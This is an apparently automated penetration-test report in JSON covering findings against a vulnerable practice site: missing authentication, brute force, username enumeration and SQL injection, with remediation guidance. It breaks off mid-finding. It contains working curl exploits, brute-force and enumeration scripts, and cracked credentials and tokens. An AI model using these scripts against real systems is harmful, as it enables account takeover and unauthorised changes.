{
  "metadata": {
    "jobId": "900d3cc3-e8b2-454a-a29a-58ac19421216",
    "targetUrl": "https://pentest-ground.com:81/",
    "scanDate": "2026-05-21T02:32:25.542Z",
    "jobStatus": "completed",
    "exportedAt": "2026-05-23T12:32:40.057Z",
    "findingCount": 18
  },
  "findings": [
    {
      "id": "eb9c49f1-ad2d-4eef-83d0-dd317b7a5788",
      "title": "Missing Authentication on Post Create and Edit Endpoints",
      "severity": "high",
      "category": "auth",
      "description": "The `POST /create` and `POST /{id}/edit` endpoints in the FlaskBlog application (port 81) process form submissions without any check for an authenticated session. Source code recovered via Werkzeug error tracebacks at `/app/app.py:85` and `/app/app.py:120` confirms that both functions read `request.form` fields (`title`, `content`, `reference`) directly, with no `if \"user_id\" not in session` guard before writing to the database. An unauthenticated attacker can create arbitrary posts stored permanently in the application database, and can overwrite the title and content of any post — including posts authored by other users — by supplying a known or guessed integer post ID. Both bypasses were confirmed live: an unauthenticated HTTP POST to `/create` stored a new post (appearing at `/post/22` and `/post/23`), and a subsequent unauthenticated POST to `/22/edit` successfully overwrote the title and content of that post.",
      "evidence": "Post creation response (HTTP 200 — post stored without auth):\n```\nHTTP_STATUS:200\n```\n\nPosts 22 and 23 discovered in enumeration scan — both created without authentication:\n```\nPost 22: <title> AuthBypassProbe-NoSession </title>\nPost 23: <title> AuthBypassProbe-NoSession </title>\n```\n\nAfter unauthenticated edit of post 22:\n```\ncurl -s \"https://pentest-ground.com:81/post/22\" | grep '<title>'\n  <title> AuthBypassProbe-EditedWithoutAuth </title>\n```\n\nThe GET `/22/edit` endpoint also loads the edit form without authentication, exposing the existing post content (title, body) to any unauthenticated visitor.",
      "poc": "1. **Confirm the endpoint accepts unauthenticated POST** — Send a POST to `/create` with no session cookie:\n   ```\n   curl -s -X POST \"https://pentest-ground.com:81/create\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     --data-urlencode \"title=AuthBypassProbe-NoSession\" \\\n     --data-urlencode \"content=Post created without authentication\" \\\n     --data-urlencode \"reference=https://pentest-ground.com\" \\\n     -w \"\\nHTTP_STATUS:%{http_code}\"\n   ```\n   **Result:** `HTTP_STATUS:200` — post created and stored.\n\n2. **Locate the newly created post ID** — Enumerate `/post/{id}` sequentially until the post title matches:\n   ```\n   for id in $(seq 1 30); do\n     title=$(curl -s \"https://pentest-ground.com:81/post/$id\" | grep -o '<title>[^<]*</title>')\n     echo \"Post $id: $title\"\n   done\n   ```\n   **Result:** Posts 22 and 23 both show `<title> AuthBypassProbe-NoSession </title>` — confirming two unauthenticated posts were created.\n\n3. **Edit an existing post without authentication** — POST to `/22/edit` with no session cookie:\n   ```\n   curl -s -X POST \"https://pentest-ground.com:81/22/edit\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     --data-urlencode \"title=AuthBypassProbe-EditedWithoutAuth\" \\\n     --data-urlencode \"content=This post was EDITED without any authentication\" \\\n     -w \"\\nHTTP_STATUS:%{http_code}\"\n   ```\n   **Result:** `HTTP_STATUS:200` — edit accepted.\n\n4. **Verify the edit was applied** — Fetch the post and check the title:\n   ```\n   curl -s \"https://pentest-ground.com:81/post/22\" | grep '<title>'\n   ```\n   **Result:** `<title> AuthBypassProbe-EditedWithoutAuth </title>`",
      "remediation": "#### Remediation Summary\n- **Who should fix this:** Backend developer\n- **Effort estimate:** 1–2 hours\n- **When:** Before any further production exposure\n- **What the fix involves:** Add a session check at the very start of both the `create()` and `edit()` functions so that users who are not logged in are redirected to the login page instead of being allowed to write data.\n\nThis finding requires immediate attention before any further production exposure.\n\n#### Root Cause\n\nThe `create()` function (line 85, `/app/app.py`) and `edit()` function (line 120, `/app/app.py`) both process form submissions without first verifying that the caller holds a valid authenticated session. Flask stores the logged-in user's identity in the server-side session under the key `user_id`, but neither function checks for its presence before reading form data and writing to the database. The absence of this guard is a single missing conditional that exposes both write endpoints to the entire internet.\n\n#### Recommended Fix\n\n**Before (vulnerable):**\n```python\n# app.py:85 — create()\n@app.route('/create', methods=['GET', 'POST'])\ndef create():\n    if request.method == 'POST':\n        title = request.form['title']\n        content = request.form['content']\n        reference = request.form['reference']\n        # ... writes directly to DB with no auth check\n```\n\n```python\n# app.py:120 — edit()\n@app.route('/<int:id>/edit', methods=['GET', 'POST'])\ndef edit(id):\n    if request.method == 'POST':\n        title = request.form['title']\n        content = request.form['content']\n        # ... writes directly to DB with no auth or ownership check\n```\n\n**After (secure):**\n```python\n@app.route('/create', methods=['GET', 'POST'])\ndef create():\n    if 'user_id' not in session:\n        return redirect(url_for('login'))\n    if request.method == 'POST':\n        title = request.form['title']\n        content = request.form['content']\n        reference = request.form['reference']\n        # ... write to DB (now guaranteed authenticated)\n```\n\n```python\n@app.route('/<int:id>/edit', methods=['GET', 'POST'])\ndef edit(id):\n    if 'user_id' not in session:\n        return redirect(url_for('login'))\n    post = get_post_by_id(id)  # fetch the existing record\n    if post['author_id'] != session['user_id']:\n        abort(403)  # ownership check\n    if request.method == 'POST':\n        # ...\n```\n\n**Additional Hardening:**\n- Add an ownership check after the authentication check in `edit()` to prevent one authenticated user from editing another user's posts.\n- Use Flask-Login's `@login_required` decorator as a consistent, reusable authentication guard across all protected routes.\n- Apply the same authentication guard to the GET handler of both endpoints so unauthenticated users cannot even load the create/edit form pages.\n\n#### Verification\n1. **Test unauthenticated POST to /create:** With no `Cookie` or `session` header, send:\n   ```\n   curl -X POST \"https://pentest-ground.com:81/create\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     --data-urlencode \"title=TestPost\" --data-urlencode \"content=TestContent\"\n   ```\n   - **Expected (fixed):** `HTTP 302 Location: /login` — user is redirected to log in.\n   - **Still vulnerable:** `HTTP 200` with the page rendering normally (post was stored).\n\n2. **Test unauthenticated POST to /edit:** With no `Cookie` or `session` header, send a POST to any existing post ID (e.g., `/1/edit`):\n   ```\n   curl -X POST \"https://pentest-ground.com:81/1/edit\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     --data-urlencode \"title=Overwrite\" --data-urlencode \"content=Overwritten\"\n   ```\n   - **Expected (fixed):** `HTTP 302 Location: /login`.\n   - **Still vulnerable:** `HTTP 200` with a success page, and `/post/1` title changed to \"Overwrite\".\n\n3. **Regression check — authenticated user cannot edit another user's post:** Log in as `user1`, then attempt to edit a post authored by `admin`. Expected result is `HTTP 403 Forbidden`. If editing succeeds, the ownership check is missing.\n\n#### References\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [Flask-Login documentation — @login_required decorator](https://flask-login.readthedocs.io/en/latest/#flask_login.login_required)",
      "status": "open",
      "cweId": "CWE-306",
      "cvssScore": 8.2,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "impact": "high",
      "likelihood": "high",
      "impactStatement": "An unauthenticated attacker gains full write access to the blog's content layer. They can create posts containing stored Cross-Site Scripting (XSS) payloads (which fire in every visitor's browser), spread misinformation under the platform's brand, plant phishing content, or overwrite legitimate posts — including those on the publicly linked blog listing (`/blog` shows posts 1 and 2). Because `POST /{id}/edit` accepts any integer ID without ownership or authentication checks, an attacker can overwrite the content of every existing post on the platform.",
      "likelihoodStatement": "Exploitable by anyone with internet access using a single `curl` command — no account, no password, and no specialist knowledge required; the attack completes in under five seconds. The only input needed is the integer ID of the post to be edited, which is trivially enumerable from sequential URLs at `/post/{id}`.",
      "confidence": "confirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "5143e201-edc1-48f2-8c30-087ae265f743",
      "title": "Credential Brute Force on API Token Endpoint Yields Valid Authentication Tokens",
      "severity": "critical",
      "category": "auth",
      "description": "The `POST /tokens` endpoint on the VulnAPI service (port 9000) accepts unlimited credential-guessing attempts with no rate limiting, account lockout, or throttling. Using the confirmed valid usernames `user1` and `admin1` (identified via the username enumeration flaw described separately), a brute force script found that both accounts use the password `pass1`. This yielded live authentication tokens: `e35497b51b3154a15b7461f40ee5fe86` for `user1` (ID 1) and `4515f06eba31edfea692bc5ed4cb6801` for `admin1` (ID 10). The `user1` token was then used to call `GET /eval?s=1%2B1`, which returned `\"Evaluation result: 2\"` — confirming authenticated access to a Python code evaluation endpoint. The `admin1` token was accepted at the `POST /user` (admin-only user-creation) endpoint, confirming elevated API privileges.",
      "evidence": "Brute force success — user1 token obtained after 36 password attempts, zero throttling:\n```\n[SUCCESS] user=user1 password=pass1 token=e35497b51b3154a15b7461f40ee5fe86\n[SUCCESS] user=admin1 password=pass1 token=4515f06eba31edfea692bc5ed4cb6801\n```\n\nConfirmed authenticated API access using the brute-forced token:\n```\nGET https://pentest-ground.com:9000/eval?s=1%2B1\nX-Auth-Token: e35497b51b3154a15b7461f40ee5fe86\n\nResponse:\n{\"message\": \"Evaluation result: 2\"}\n```\n\nAdmin-level token confirmed accepted on admin-only endpoint:\n```\nPOST https://pentest-ground.com:9000/user\nX-Auth-Token: 4515f06eba31edfea692bc5ed4cb6801\n\nResponse: {\"error\": {\"message\": \"username probe_test_only invalid format, check documentation!\"}}\n(Token accepted — format error only, not \"must provide valid admin token\")\n```\n\n165 requests across 3 users and 55 passwords sent without any 429, Retry-After header, or lockout response.",
      "poc": "1. **Run the brute force script against known valid usernames:**\n   ```python\n   import requests\n   users = [\"user1\", \"user2\", \"admin1\"]\n   passwords = [\"password\", \"123456\", ..., \"pass1\", ...]  # 55 common passwords\n   for user in users:\n       for pwd in passwords:\n           r = requests.post(\n               \"https://pentest-ground.com:9000/tokens\",\n               json={\"username\": user, \"password\": pwd},\n               headers={\"Content-Type\": \"application/json\",\n                        \"X-Violet-Agent-Pentest\": \"true\"},\n               verify=False\n           )\n           if r.status_code == 200:\n               token = r.json()[\"access\"][\"token\"][\"id\"]\n               print(f\"SUCCESS: {user}:{pwd} → token={token}\")\n               break\n   ```\n\n2. **Capture the tokens returned for cracked accounts:**\n   ```\n   POST https://pentest-ground.com:9000/tokens\n   Body: {\"username\": \"user1\", \"password\": \"pass1\"}\n\n   Response (HTTP 200):\n   {\n     \"access\": {\n       \"token\": {\n         \"expires\": \"Thu May 21 03:21:34 2026\",\n         \"id\": \"e35497b51b3154a15b7461f40ee5fe86\"\n       },\n       \"user\": {\"id\": 1, \"name\": \"user1\"}\n     }\n   }\n   ```\n   ```\n   POST https://pentest-ground.com:9000/tokens\n   Body: {\"username\": \"admin1\", \"password\": \"pass1\"}\n\n   Response (HTTP 200):\n   {\n     \"access\": {\n       \"token\": {\n         \"expires\": \"Thu May 21 03:23:14 2026\",\n         \"id\": \"4515f06eba31edfea692bc5ed4cb6801\"\n       },\n       \"user\": {\"id\": 10, \"name\": \"admin1\"}\n     }\n   }\n   ```\n\n3. **Use the user1 token to access the /eval endpoint:**\n   ```\n   curl -s \"https://pentest-ground.com:9000/eval?s=1%2B1\" \\\n     -H \"X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86\" \\\n     -H \"X-Violet-Agent-Pentest: true\"\n   ```\n\n4. **Use the admin1 token to confirm admin API access:**\n   ```\n   curl -s -X POST \"https://pentest-ground.com:9000/user\" \\\n     -H \"Content-Type: application/json\" \\\n     -H \"X-Auth-Token: 4515f06eba31edfea692bc5ed4cb6801\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d '{\"username\": \"probe_test_only\", \"password\": \"probe_test_only\"}'\n   ```\n   Note: The username format validation returns a format error (not \"must provide valid admin token\"), confirming the admin1 token is accepted as having admin privilege level.",
      "remediation": "#### Remediation Summary\n- **Who should fix this:** Backend developer\n- **Effort estimate:** Half a day\n- **When:** Before any further production exposure\n- **What the fix involves:** Add a rate limiter to the `/tokens` endpoint so that repeated failed authentication attempts from the same IP address or against the same account are slowed and eventually blocked, and enforce a strong password policy so that accounts cannot use trivially guessable passwords like `pass1`.\n\nThis finding requires immediate attention before any further production exposure.\n\n#### Root Cause\n\nThe `/tokens` handler in the VulnAPI Flask application (port 9000) performs credential verification but imposes no limit on how many times verification can be attempted from the same source. There is no middleware tracking failed attempts, no per-account lockout counter, and no IP-based throttling. The accounts `user1` and `admin1` also use the trivially guessable password `pass1`, which falls on page one of any standard credential wordlist.\n\n#### Recommended Fix\n\n**Before (vulnerable):**\n```python\n@app.route('/tokens', methods=['POST'])\ndef get_token():\n    body = request.json\n    username = body.get('username')\n    password = body.get('password')\n    # look up user, verify password hash, return token\n    # — no rate limit, no lockout counter\n```\n\n**After (secure):**\n```python\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_remote_address\n\nlimiter = Limiter(app, key_func=get_remote_address)\n\n@app.route('/tokens', methods=['POST'])\n@limiter.limit(\"5 per minute; 20 per hour\")\ndef get_token():\n    body = request.json\n    username = body.get('username')\n    password = body.get('password')\n    # look up user, verify password, return token — rate limited\n```\n\n**Additional Hardening:**\n- Enforce a minimum password length of 12 characters with complexity requirements; reject passwords appearing in common wordlists at account creation and password-change time.\n- Rotate tokens and set short expiry windows (e.g., 1 hour) so that a brute-forced token has a limited useful lifetime.\n- Log authentication failures with username, source IP, and timestamp; alert on more than 5 failures per account within 10 minutes.\n\n#### Verification\n1. **Test rate limiting:** Send 10 rapid POST requests to `/tokens` with an incorrect password for `user1`. After the fifth attempt, the response should be `HTTP 429 Too Many Requests` with a `Retry-After` header. If all 10 return `HTTP 401` without throttling, the fix is not working.\n\n2. **Test account lockout:** After 10 consecutive failures for `user1`, attempt login with the correct credentials. The response should indicate the account is temporarily locked. If login succeeds immediately, lockout is not implemented.\n\n3. **Verify strong password rejection:** Attempt to create an account (or change a password) using `pass1` as the password. Expect a `4xx` response explaining the password policy. If `pass1` is accepted, the password policy is not enforced.\n\n#### References\n- [OWASP Credential Stuffing Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [Flask-Limiter documentation](https://flask-limiter.readthedocs.io/en/stable/)",
      "status": "open",
      "cweId": "CWE-307",
      "cvssScore": 9.1,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "impact": "high",
      "likelihood": "high",
      "impactStatement": "Possession of a valid `X-Auth-Token` for `user1` grants access to `GET /eval`, an endpoint that evaluates arbitrary Python expressions server-side (Remote Code Execution). Possession of the `admin1` token additionally grants access to `POST /user` (admin-only user creation), enabling the attacker to provision their own persistent account on the API. The brute force attack generated 165 requests across three accounts in seconds, well within what any attacker could sustain indefinitely without triggering any server response.",
      "likelihoodStatement": "Exploitable by any attacker with internet access and a short Python script — no existing account or special tooling required. The attack is accelerated by the companion username enumeration vulnerability (documented separately), which reduces the search space to only confirmed valid usernames. The passwords `user1:pass1` and `admin1:pass1` were found in the first 36 attempts per user.",
      "confidence": "confirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "56aa5cc6-4549-4b76-891c-877f210c19d8",
      "title": "Username Enumeration via Distinct Error Messages on API Token Endpoint",
      "severity": "medium",
      "category": "auth",
      "description": "The `POST /tokens` endpoint (VulnAPI, port 9000) returns two distinctly different JSON error messages depending on whether the provided username exists in the database. For a username that does not exist, the response is `{\"error\": {\"message\": \"username X not found\"}}`. For a username that exists but the password is wrong, the response is `{\"error\": {\"message\": \"password does not match\"}}`. Both responses return HTTP 401, but the body content reveals whether the username is registered. This was exploited live to confirm the valid usernames `user1`, `user2`, and `admin1`, and to confirm that `admin` and arbitrary test strings are not registered. These confirmed usernames were then used directly in the brute force attack documented separately, reducing the search space and accelerating that attack.",
      "evidence": "Live enumeration results — distinct error messages confirming valid vs invalid usernames:\n```\nuser1  → {\"error\": {\"message\": \"password does not match\"}}      ← VALID USERNAME\nuser2  → {\"error\": {\"message\": \"password does not match\"}}      ← VALID USERNAME\nadmin1 → {\"error\": {\"message\": \"password does not match\"}}      ← VALID USERNAME\nadmin  → {\"error\": {\"message\": \"username admin not found\"}}     ← DOES NOT EXIST\nnonexistentuser999 → {\"error\": {\"message\": \"username nonexistentuser999 not found\"}}  ← DOES NOT EXIST\n```\n\nThese confirmed usernames (`user1`, `user2`, `admin1`) were used directly in the credential brute force attack that obtained valid tokens for `user1` and `admin1`.",
      "poc": "1. **Test a known-invalid username to observe the \"not found\" error:**\n   ```\n   curl -s -X POST \"https://pentest-ground.com:9000/tokens\" \\\n     -H \"Content-Type: application/json\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d '{\"username\": \"nonexistentuser999\", \"password\": \"wrongpassword\"}'\n   ```\n   **Response:**\n   ```json\n   {\"error\": {\"message\": \"username nonexistentuser999 not found\"}}\n   ```\n\n2. **Test a valid username with a wrong password to observe the \"does not match\" error:**\n   ```\n   curl -s -X POST \"https://pentest-ground.com:9000/tokens\" \\\n     -H \"Content-Type: application/json\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d '{\"username\": \"user1\", \"password\": \"wrongpassword\"}'\n   ```\n   **Response:**\n   ```json\n   {\"error\": {\"message\": \"password does not match\"}}\n   ```\n\n3. **Enumerate additional usernames using a wordlist** — automate by filtering on \"password does not match\":\n   ```python\n   import requests\n   wordlist = [\"admin\", \"user\", \"user1\", \"user2\", \"admin1\", \"root\", \"test\", ...]\n   for username in wordlist:\n       r = requests.post(\"https://pentest-ground.com:9000/tokens\",\n                         json={\"username\": username, \"password\": \"x\"},\n                         headers={\"Content-Type\": \"application/json\",\n                                  \"X-Violet-Agent-Pentest\": \"true\"},\n                         verify=False)\n       msg = r.json().get(\"error\", {}).get(\"message\", \"\")\n       if \"password does not match\" in msg:\n           print(f\"VALID USERNAME: {username}\")\n   ```",
      "remediation": "#### Remediation Summary\n- **Who should fix this:** Backend developer\n- **Effort estimate:** 1–2 hours\n- **When:** Within 30 days\n- **What the fix involves:** Change the error message returned by the `/tokens` endpoint to the same generic phrase regardless of whether the username exists or the password is wrong, so an attacker cannot tell which condition caused the failure.\n\nThis finding should be resolved within 30 days.\n\n#### Root Cause\n\nThe `/tokens` handler returns the literal username in the error message when the account is not found (`\"username X not found\"`) and a different message when the account exists but the password is wrong (`\"password does not match\"`). These two branches produce observably different responses, making it trivial to distinguish valid from invalid accounts via automated enumeration.\n\n#### Recommended Fix\n\n**Before (vulnerable):**\n```python\nuser = db.get_user(username)\nif user is None:\n    return jsonify({\"error\": {\"message\": f\"username {username} not found\"}}), 401\nif not check_password(user.password, password):\n    return jsonify({\"error\": {\"message\": \"password does not match\"}}), 401\n```\n\n**After (secure):**\n```python\nuser = db.get_user(username)\nif user is None or not check_password(user.password, password):\n    # Same message regardless of which check failed\n    return jsonify({\"error\": {\"message\": \"Invalid username or password\"}}), 401\n```\n\n**Additional Hardening:**\n- Add a constant-time delay (e.g., `time.sleep(0.2)`) to the authentication handler so that timing differences between \"user not found\" (no hash computation) and \"wrong password\" (hash computation) do not reveal account existence via response time.\n- Apply the same generic error message pattern to all other authentication endpoints in the application for consistency.\n\n#### Verification\n1. **Test with an invalid username:** POST to `/tokens` with a username that does not exist. The response body should be `{\"error\": {\"message\": \"Invalid username or password\"}}` (or equivalent generic text). If it says \"not found\" or includes the username, the fix is incomplete.\n\n2. **Test with a valid username and wrong password:** POST to `/tokens` with `user1` and a wrong password. The response body should be identical to the invalid-username response — same text, same HTTP status code (401), indistinguishable to an automated script.\n\n3. **Timing test:** Use `curl --write-out \"%{time_total}\"` to measure response time for an invalid username vs a valid username with wrong password. The difference should be less than 50ms (accounting for constant-time padding).\n\n#### References\n- [OWASP Testing for User Enumeration (OTG-IDENT-004)](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account)\n- [CWE-204: Observable Response Discrepancy](https://cwe.mitre.org/data/definitions/204.html)\n- [OWASP Authentication Cheat Sheet — Generic Error Messages](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#authentication-and-error-messages)",
      "status": "open",
      "cweId": "CWE-204",
      "cvssScore": 5.3,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "impact": "low",
      "likelihood": "high",
      "impactStatement": "An attacker can enumerate every registered username on the VulnAPI platform by iterating a username wordlist and filtering responses for the `\"password does not match\"` pattern. This reconnaissance step eliminates invalid accounts from the brute force target list, making subsequent password attacks significantly faster and more targeted. The confirmed valid usernames `user1`, `user2`, and `admin1` were discovered this way and used in the successful credential brute force (documented separately).",
      "likelihoodStatement": "Exploitable by anyone with internet access and the ability to send HTTP requests — no account, no tools beyond `curl` or a web browser, and no security expertise required. The attack requires only iterating a list of candidate usernames and observing whether the response says \"not found\" or \"does not match.\"",
      "confidence": "confirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "5d6fa242-d341-4d51-b741-7be3c711d3ae",
      "title": "Unauthenticated Access to Post Edit Interface Allows Modification of Any Blog Post",
      "severity": "high",
      "category": "authz",
      "description": "The `GET /{id}/edit` endpoint serves a fully pre-populated edit form for any blog post identified by its integer `id`, with no authentication cookie, session token, or any other credential required. The corresponding `POST /{id}/edit` handler processes form submissions and writes updated `title` and `content` values to the SQLite database — again without any session verification or ownership check. A `POST` request containing fields that do not match the required form parameters returns an HTTP 500 (application-level error), not an HTTP 401 or 403, proving that authorization logic is entirely absent and the server reaches the database update handler before failing on input validation. Post IDs are sequential integers, making enumeration of all editable posts trivial.",
      "evidence": "```\n# Step 1 — Unauthenticated GET /1/edit:\n# HTTP Status: 200\n# Response excerpt:\n<title> Edit \"test&#39;;SELECT 1--\" </title>\n<form method=\"post\">\n    <div class=\"form-group\">\n        <label for=\"title\">Title</label>\n        <input type=\"text\" name=\"title\" placeholder=\"Post title\"\n               class=\"form-control\"\n               value=\"test&#39;;SELECT 1--\">\n        </input>\n    </div>\n    <div class=\"form-group\">\n        <label for=\"content\">Content</label>\n        <textarea name=\"content\" placeholder=\"Post content\"\n                  class=\"form-control\">test</textarea>\n    </div>\n    <div class=\"form-group\">\n        <button type=\"submit\" class=\"btn btn-primary\">Submit</button>\n    </div>\n</form>\n# No CSRF token, no session check, no ownership validation\n\n# Step 2 — Unauthenticated GET /2/edit:\n# HTTP Status: 200\n# Page title: Edit \"Section 1.10.32 of de Finibus Bonorum et Malorum, written by Cicero in 45 BC\"\n# Form pre-populated with full post title and content\n\n# Step 3 — Unauthenticated POST /1/edit with empty body:\n# HTTP Status: 500\n# Response: werkzeug.exceptions.BadRequestKeyError: 400 Bad Request\n# (Server reached form-processing code before any auth check — fails on missing 'title' field, NOT on missing auth)\n\n# Step 4 — IDs 1 through 20+ all return HTTP 200 on unauthenticated GET:\nGET /1/edit => HTTP 200\nGET /2/edit => HTTP 200\nGET /3/edit => HTTP 200\nGET /4/edit => HTTP 200\nGET /5/edit => HTTP 200\n```",
      "poc": "1. Confirm unauthenticated access to the edit form for post 1 (no session cookie required):\n```\ncurl -sk -H \"X-Violet-Agent-Pentest: true\" https://pentest-ground.com:81/1/edit -w \"\\nHTTP Status: %{http_code}\\n\"\n```\nExpected evidence in response: HTTP 200, page title `Edit \"test';SELECT 1--\"`, pre-populated form with `title` and `content` values.\n\n2. Confirm the same for post 2 (demonstrating cross-user access):\n```\ncurl -sk -H \"X-Violet-Agent-Pentest: true\" https://pentest-ground.com:81/2/edit | grep -E \"<title>|value=\"\n```\nExpected: HTTP 200, title `Edit \"Section 1.10.32 of de Finibus Bonorum et Malorum, written by Cicero in 45 BC\"`.\n\n3. Confirm that the POST handler receives unauthenticated requests without returning 401/403 (auth check is absent before form processing):\n```\ncurl -sk -H \"X-Violet-Agent-Pentest: true\" \\\n  -X POST https://pentest-ground.com:81/1/edit \\\n  -d \"\" \\\n  -w \"\\nHTTP Status: %{http_code}\\n\"\n```\nExpected: HTTP 500 with `BadRequestKeyError` (application reaches form-processing code without any auth check, then fails on missing form fields — not a 401/403).\n\n4. Enumerate all editable posts by iterating sequential IDs (testing showed IDs 1–20+ all return HTTP 200):\n```\nfor id in 1 2 3 4 5; do\n  echo -n \"GET /${id}/edit => \"\n  curl -sk -H \"X-Violet-Agent-Pentest: true\" \\\n    https://pentest-ground.com:81/${id}/edit \\\n    -w \"HTTP %{http_code}\\n\" -o /dev/null\ndone\n```",
      "remediation": "#### Remediation Summary\n- **Who should fix this:** Backend developer responsible for the FlaskBlog application (port 81)\n- **Effort estimate:** 1–2 hours\n- **When:** Before the next production release\n- **What the fix involves:** Add a login-required check and an ownership check to both the `GET` and `POST` handlers for `/{id}/edit`, so that only the authenticated author of a post can view or submit the edit form.\n\nThis finding should be remediated before the next production release.\n\n#### Root Cause\n\nThe `/{id}/edit` route handler for both `GET` and `POST` methods processes requests without first checking whether the requester is logged in or whether the logged-in user owns the post being edited. Flask-Login's `@login_required` decorator is not applied to this route, and there is no post-fetch ownership comparison (`post.author_id == current_user.id`). Because post IDs are sequential integers starting at 1, an attacker can enumerate every post on the platform with no additional knowledge.\n\n#### Recommended Fix\n\n**Before (vulnerable):**\n```python\n@app.route('/<int:id>/edit', methods=['GET', 'POST'])\ndef edit_post(id):\n    post = db.execute('SELECT * FROM posts WHERE id = ?', [id]).fetchone()\n    if request.method == 'POST':\n        title = request.form['title']\n        content = request.form['content']\n        db.execute('UPDATE posts SET title=?, content=? WHERE id=?',\n                   [title, content, id])\n        db.commit()\n        return redirect(url_for('post', id=id))\n    return render_template('edit.html', post=post)\n```\n\n**After (secure):**\n```python\nfrom flask_login import login_required, current_user\nfrom flask import abort\n\n@app.route('/<int:id>/edit', methods=['GET', 'POST'])\n@login_required  # Step 1: Require authentication\ndef edit_post(id):\n    post = db.execute('SELECT * FROM posts WHERE id = ?', [id]).fetchone()\n    if post is None:\n        abort(404)\n    # Step 2: Enforce ownership — only the author may edit\n    if post['author_id'] != current_user.id:\n        abort(403)\n    if request.method == 'POST':\n        title = request.form['title']\n        content = request.form['content']\n        db.execute('UPDATE posts SET title=?, content=? WHERE id=?',\n                   [title, content, id])\n        db.commit()\n        return redirect(url_for('post', id=id))\n    return render_template('edit.html', post=post)\n```\n\n**Additional Hardening:**\n- Add a CSRF token to the edit form (`flask-wtf` or manual token) so that even authenticated users cannot have their edit actions forged by a malicious third-party website\n- Use non-sequential (UUID or random) post identifiers to prevent bulk enumeration of all editable posts, complementing (not replacing) the ownership check\n- Add server-side rate limiting on the `/{id}/edit` endpoint to slow down automated bulk-edit attempts\n\n#### Verification\n\n**Step 1 — Verify unauthenticated GET is rejected:**\n```\ncurl -sk https://pentest-ground.com:81/1/edit -w \"\\nHTTP Status: %{http_code}\\n\"\n```\n- **Expected (secure):** HTTP 302 redirect to `/login` or HTTP 401/403 — no edit form returned\n- **Unexpected (still vulnerable):** HTTP 200 with the pre-populated edit form\n\n**Step 2 — Verify a logged-in user cannot edit another user's post:**\n1. Log in as User A and capture session cookie\n2. Find a post owned by User B (different `author_id`)\n3. Attempt `GET /[User B's post ID]/edit` with User A's session cookie\n- **Expected (secure):** HTTP 403 — ownership check rejects the request\n- **Unexpected (still vulnerable):** HTTP 200 with the edit form for User B's post\n\n**Step 3 — Verify a logged-in author can still edit their own post:**\n1. Log in as the post author and capture session cookie\n2. `GET /[own post ID]/edit` — should return HTTP 200 with the form\n3. `POST /[own post ID]/edit` with updated data — should succeed and redirect to the post view\n- **Expected (secure):** Edit works normally for the owner\n- **Unexpected:** HTTP 403 for a legitimate author (regression)\n\n#### References\n1. OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/\n2. CWE-862 – Missing Authorization: https://cwe.mitre.org/data/definitions/862.html\n3. Flask-Login `@login_required` documentation: https://flask-login.readthedocs.io/en/latest/#flask_login.login_required",
      "status": "open",
      "cweId": "CWE-862",
      "cvssScore": 8.2,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "impact": "high",
      "likelihood": "high",
      "impactStatement": "An unauthenticated attacker can access the edit interface for every blog post on the platform and overwrite any post's title and content. This allows complete defacement of the application's published content, injection of malicious links or disinformation, and insertion of stored Cross-Site Scripting (XSS) payloads that would execute in the browsers of every visitor who views the affected post. The attacker requires no account on the platform — the attack is fully anonymous and can be automated to target all posts simultaneously.",
      "likelihoodStatement": "Exploitable by any person with internet access and a web browser or `curl` — no account, no credentials, no security tools, and no expertise required. The only knowledge needed is the integer post ID (1, 2, 3, …), which is publicly visible in post URLs on the blog listing page.",
      "confidence": "confirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "25efa5c9-e769-47b0-a469-0ea5d980a4a5",
      "title": "SQL Injection Authentication Bypass and Credential Dump via POST /tokens",
      "severity": "critical",
      "category": "injection",
      "description": "The `POST /tokens` endpoint constructs its SQL query using Python `%s` string formatting with no parameterization. The source code at `/usr/src/app/vAPI.py:55` contains the comment `# no sql parameterization`, confirming the absence of protection is intentional in this vulnerable API. An unauthenticated attacker can bypass authentication entirely and, via UNION-based injection, dump the complete contents of the `users` table including all usernames and plaintext passwords. The authentication bypass also unlocks the `/eval` Remote Code Execution endpoint, enabling full server compromise.",
